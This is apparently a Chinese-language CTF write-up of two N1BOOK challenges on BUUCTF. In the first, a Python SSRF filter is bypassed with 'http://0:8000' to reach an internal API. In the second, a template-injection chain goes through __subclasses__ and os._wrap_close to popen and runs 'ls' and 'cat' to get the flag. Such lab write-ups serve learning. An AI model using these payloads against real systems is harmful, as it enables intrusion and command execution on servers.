声明
好好向大佬们学习!!!
攻击
Python里的SSRF
摘自
https://book.nu1l.com/tasks/#/
使用BUUCTF在线环境
https://buuoj.cn/challenges
访问
http://e9fdde38-8e19-4e73-ab14-517824da6772.node3.buuoj.cn
下图提示,url参数是需要的,那就是,再看上图中,提示访问容器内部的8000端口和后面的接口,那其实就是访问自己的8000下的这个URL,也就是
http://127.0.0.1:8000/api/internal/secret
访问一下试试看,显示127被禁用了
http://e9fdde38-8e19-4e73-ab14-517824da6772.node3.buuoj.cn/?url=http://127.0.0.1:8000/api/internal/secret
那这个题的核心,就在于,怎么绕过127的检测,以前看到过很多都是移位去检测的,在这里我google,CTF绕过127.0.0.1检测
https://zhuanlan.zhihu.com/p/302861528
也想起了CTFer这本书中,之前是提到过一些,windows中和linux中,代表着本机IP或者127.0.0.1的IP的其他的写法,我先测一下这台服务器是windows还是linux,利用linux区分大小写的性质,输入以下两个URL,可以看到这两个URL的区别是,一个参数名是url,一个参数名是urL,区别在于参数的最后一位l和L
http://e9fdde38-8e19-4e73-ab14-517824da6772.node3.buuoj.cn/?url=1
http://e9fdde38-8e19-4e73-ab14-517824da6772.node3.buuoj.cn/?urL=1
通过上图对比可以看出,当参数为urL时,返回url参数为空,这就说明人家不认,就说嘛服务器是linux,在linux下,0代表着127.0.0.1
果断输入,拿到flag,其实还有很多域名啊,302啊多种绕过方式,短链接也是可以的,把url里面的内容在线转成短链接
http://e9fdde38-8e19-4e73-ab14-517824da6772.node3.buuoj.cn/?url=http://0:8000/api/internal/secret
n1book{1132e28b5433c878}
SSTI
摘自
https://book.nu1l.com/tasks/#/
参考
https://xz.aliyun.com/t/3679
使用BUUCTF在线环境
https://buuoj.cn/challenges
访问
http://0eddd11c-0bb1-45ac-af03-e3f29994bf7d.node3.buuoj.cn
显示password是错误的,这不就是说提交了password参数,那找到地方提交,那就自己在URL上提交吧,感觉每次遇到这种都是自己构造URL
访问,发现,输入的内容被原封不动的打印出来了
http://0eddd11c-0bb1-45ac-af03-e3f29994bf7d.node3.buuoj.cn/?password=1
试一试模板注入,计算出来4,说明可以使用模板注入
http://0eddd11c-0bb1-45ac-af03-e3f29994bf7d.node3.buuoj.cn/?password={{2*2}}
访问
http://0eddd11c-0bb1-45ac-af03-e3f29994bf7d.node3.buuoj.cn/?password={{"".__class__}}
访问,列出了所有的类,搜索关键字os._wrap_close,将返回的内容拷贝到nodepad++,或者其他编辑器中,根据逗号数一数,关键字在第几个
http://0eddd11c-0bb1-45ac-af03-e3f29994bf7d.node3.buuoj.cn/?password={{"".__class__.__bases__[0].__subclasses__()}}
我这里数的第128个,有可能会有差别,上下一两个都试试,试试126、127、128、129、130
最后127是这个类,访问
http://0eddd11c-0bb1-45ac-af03-e3f29994bf7d.node3.buuoj.cn/?password={{"".__class__.__bases__[0].__subclasses__()[127]}}
找该类下的所有方法和变量,访问,搜索关键字popen
http://0eddd11c-0bb1-45ac-af03-e3f29994bf7d.node3.buuoj.cn/?password={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__}}
那就用popen这个方法,根据上一道题,先测一测这个服务器是linux还是windows,我是根据passwd和passwD,看过的都懂,我这里试过的是linux,那就执行linux命令ls,访问
http://0eddd11c-0bb1-45ac-af03-e3f29994bf7d.node3.buuoj.cn/?password={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('ls').read()}}
那就是一步一步找了,看看flag在哪个文件中,不过app的嫌疑肯定是最大,因为不是默认的,虽然我一般都先去home和tmp,最后在app中找到了flag
http://0eddd11c-0bb1-45ac-af03-e3f29994bf7d.node3.buuoj.cn/?password={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('cat ./app/server.py').read()}}
n1book{eddb84d69a421a82}